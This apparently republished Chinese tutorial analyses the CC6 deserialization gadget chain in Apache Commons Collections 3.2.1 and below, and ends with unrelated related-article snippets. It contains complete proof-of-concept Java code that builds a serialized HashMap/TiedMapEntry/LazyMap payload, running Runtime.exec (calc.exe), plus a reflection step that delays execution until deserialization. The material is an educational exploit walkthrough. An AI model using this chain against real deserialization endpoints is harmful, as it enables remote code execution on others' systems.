Commons-Collections篇-CC6链分析

前言

我们前两篇已经分析过URLDNS链和CC1链,我们这次分析的链就是基于前两条链之上的CC6链
CC6链的使用对于版本来说没有CC1限制那么大,只需要commons collections 小于等于3.2.1,都存在这个漏洞

0.环境安装

可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习

1.CC6分析

1.1 前置

CC6和CC1的核心执行都是相同的,都是
LazyMap#get—》InvokeTransformer#transform

但是随着jdk的升级修复,在8u71版本之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

所以在此版本之后,CC1的LazyMap链没办法继续使用
在这里插入图片描述

我们先写一个到达get方法链的poc
LazyMap#get—》InvokeTransformer#transform

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);Lazy.get(Runtime.getRuntime());}

1.2 寻找新链

虽然出口被修复了,但是我们还是可以继续从LazyMap类中的get方法寻找新的路线
根据 ysoserial 的链子调用,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
首先我们可以看到该方法实现了Serializable,在getValue方法中调用了get方法,而hashCode又调用了getValue方法,所以我们可以通过hashCode来调用我们的命令执行

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tied = new TiedMapEntry(Lazy,0);tied.hashCode();

1.2.1 hashCode()

我们之前分析过URLDNS链,HashMap的readObject方法有如下这行语句,而在其中通过方法hash()调用了hashcode()
在这里插入图片描述
在这里插入图片描述
所以我们使用和URLDNS分析中的HashMap.put()一样来触发漏洞

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tied = new TiedMapEntry(Lazy,0);HashMap map1 = new HashMap();map1.put(tied,1);

在这里插入图片描述

1.3 解决问题

在我们运行上面的poc之后发现,还没进行反序列化就触发了我们的命令,这个之前在URLDNS分析篇也遇到过。

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

同时,我们要满足之前分析的if条件,保持key为空,所以我们需要删除key
在这里插入图片描述
第一步,将之前的传入的命令执行链换成随便传入一个Transformer对象

Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

第二步,在put之后删除之前传入的key并修改回ChainedTransformer对象。

Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazy,chainedTransformer);

1.4 完整poc

public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\\windows\\system32\\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));TiedMapEntry tied = new TiedMapEntry(Lazy,0);HashMap map1 = new HashMap();map1.put(tied,1);//本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flaseLazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transformClass c = LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazy,chainedTransformer);serializable(map1);}private static void serializable(Object o) throws IOException, ClassNotFoundException {FileOutputStream fos = new FileOutputStream("obj1");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}

我们触发下生成的poc

public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj1");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

在这里插入图片描述
路线为:

HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()Runtime.exec()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/872386.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AV1技术学习:Affine Motion Compensation

一、Affine Model Parameter 除了传统的平移运动补偿,AV1 还支持仿射变换模型,将当前像素点 (x, y) 通过以下方式投影到参考帧中的预测像素点 (x, y). 参数 (h13, h23) 对应于平移模型中使用的常规运动向量。 参数 h11 和 h22 控制垂直和水平轴上的比例…

unseping

nnnd,这道题谁标的难度1!参考文章:江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客 这是这道题的源码,一看exec和unserialize就是反序列化和命令执行,还有个正则应…

JS【详解】函数 (声明函数、调用函数、函数表达式、匿名函数、立即执行函数、箭头函数、内置函数、回调函数、私有函数、高阶函数、模拟函数重载)

函数用于封装一段具有特定功能代码,通过调用的形式执行。 每个函数都有返回值,无 return 语句时返回 undefined 声明函数 在浏览器中,在最外层声明的函数,都是 Window 对象的方法函数的声明会被提前:可以在函数声明之…

QThread和std::thread

在 Qt 中, 我们经常会用到多线程,这时候就需要纠结是使用 Qt 的 QThread 还是使用 C 标准库的 std::thread。 这里记录一下我自己的理解,先介绍一下 QThread 和 std::thread 的使用方法,对比一下他们的不同,最后说一下…

【Redis】集群

文章目录 一、集群是什么?二、 Redis集群分布式存储为什么redis集群的最大槽数是16384(不太懂)redis的集群主节点数量基本不可能超过1000个 三、 配置集群(三主三从)3.1 配置config文件3.2 启动六台redis3.2 通过redis…

理兔chat开发日记

1.注册 注册跟以前的差不多,我们将我们的验证码放在redis下,我们在注册的时候先判断我们输入的验证码是否正确 验证码成功后在我们的实现类中,我们先判断邮箱是否重复,不重复我们就继续注册 我们拥有联号注册的功能,就…

unity局部坐标和世界坐标角度介绍

在Unity中,局部坐标(Local Coordinates)和世界坐标(World Coordinates)是描述物体位置的两种不同方式: 局部坐标(Local Coordinates): 局部坐标是相对于物体自身的坐标系…

Puppeteer 是什么以及如何在网络抓取中使用它 | 2024 完整指南

网页抓取已经成为任何处理网页数据提取的人都必须掌握的一项重要技能。无论你是开发者、数据科学家还是希望从网站收集信息的爱好者,Puppeteer都是你可以使用的最强大工具之一。本完整指南将深入探讨什么是Puppeteer以及如何有效地在网页抓取中使用它。 Puppeteer简…

日志的编写与线程池的结合

目录 一、认识日志 二、时间的等级划分 三、日志的输出端 3.1 保存至文件 四、日志的部分信息 4.1 日志等级 4.2 日志时间 五、加载日志 六、日志的宏编写 七、ThreadPool Log 一、认识日志 记录事件: 日志用于记录系统运行过程中发生的各种事件&…

Linux硬件中断(IRQ)的基础知识

目录 一、中断的概念1.1 什么是硬件中断1.2 中断类型二、中断处理的工作原理2.1 中断请求2.2 中断向量2.3 中断服务例程(ISR)2.4 上下文切换2.5 中断处理2.6 任务恢复三、中断处理的编程3.1 注册中断处理函数3.2 注销中断处理函数四、中断和系统性能4.1 中断风暴4.2 IRQ亲和性…

创作模板四【创作模板】

xxx【创作模板四】 前言推荐说明最后 前言 2023年7月7日 以下内容源自《【创作模板四】》 仅供学习交流使用 推荐 无 说明 大三下期末考试进行中 【最后】的文案: 当时期末复习总结的文章,很少有人点赞 确实是很失望,只能自娱自乐&…

数据库SQL Server时间函数Datetime

文章目录 SQL Server 提供了一系列用于处理日期和时间的函数,以下是一些常用的时间函数: GETDATE():返回当前的日期和时间。 SELECT GETDATE();CURRENT_TIMESTAMP:与 GETDATE() 类似,返回当前的日期和时间。 SELECT…

CloudCone服务器2核1G一年只需15刀

CloudCone服务器博主本人已稳定使用一年多了,非常划算且稳定。2核1G一年才15,相比其他厂家2核动辄月付10左右的价格,cloudcone简直没有对手。 但是15刀这些划算的内容无法在官网直接找到。 博主这里记录 cloudcone.top 这个url,…

Linux Vim编辑器全攻略:从入门到精通

引言 简要介绍Vim编辑器的历史、地位及其在Linux及Unix系统中的广泛应用。强调Vim作为程序员和系统管理员的首选工具之一,其强大的文本编辑能力和高效的编辑模式。 Vim基础篇 安装Vim 介绍在不同Linux发行版上安装Vim的方法(如使用apt-get、yum、dnf等…

elementui 日历组件el-calendar使用总结

功能: 1.日历可以周视图、月视图切换; 2.点击月视图中日期可以切换到对应周视图; 3.点击周视图查看当日对应数据; 4.周、月视图状态下,点击前后按钮,分别切换对应上下的周、月; 5.点击回到…

算法 —— 高精度(模拟)

目录 加法高精度 两个正整数相加 两个正小数相加 两正数相加 减法高精度 两个正整数相减 两个正小数相减 两正数相减 加减法总结 乘法高精度 两个正整数相乘 两个正小数相乘 乘法总结 加法高精度 题目来源洛谷:P1601 AB Problem(高精&#x…

单片机外围设备-EEPROM

eeprom用iic通信。eeprom有几个特点需要关注: 1、可以单字节读写 2、eeprom按页划分存储,不同型号的eeprom的页大小不一致,往eeprom写数据时,如果写到了该页的末尾,会自动从该页的开头继续写,把之前的数据…

如何PR到别人仓库(指定分支,无废话)

如何PR到别人仓库(指定分支) 记录一下,之前都是直接master分支,现在记录如何pr到别人仓库的其他分支 首先进入别人仓库然后点击fork到自己仓库 步骤(以博主自己一个例子为例) (1)…

c++ primer plus 第16章string 类和标准模板库,16.1.3 使用字符串

c primer plus 第16章string 类和标准模板库,16.1.3 使用字符串 c primer plus 第16章string 类和标准模板库,16.1.3 使用字符串 文章目录 c primer plus 第16章string 类和标准模板库,16.1.3 使用字符串16.1.3 使用字符串程序清单16.3 hangman.cpp 16.1.3 使用字符串 现在&a…

【题目/训练】二叉树的创建遍历(递归非递归)

一、根据二叉树创建字符串 思路:在正常前序递归遍历的基础上,单独加上一个考虑到右子树为空的情况,如下:其结果为 1(2(4(5)(6)))&…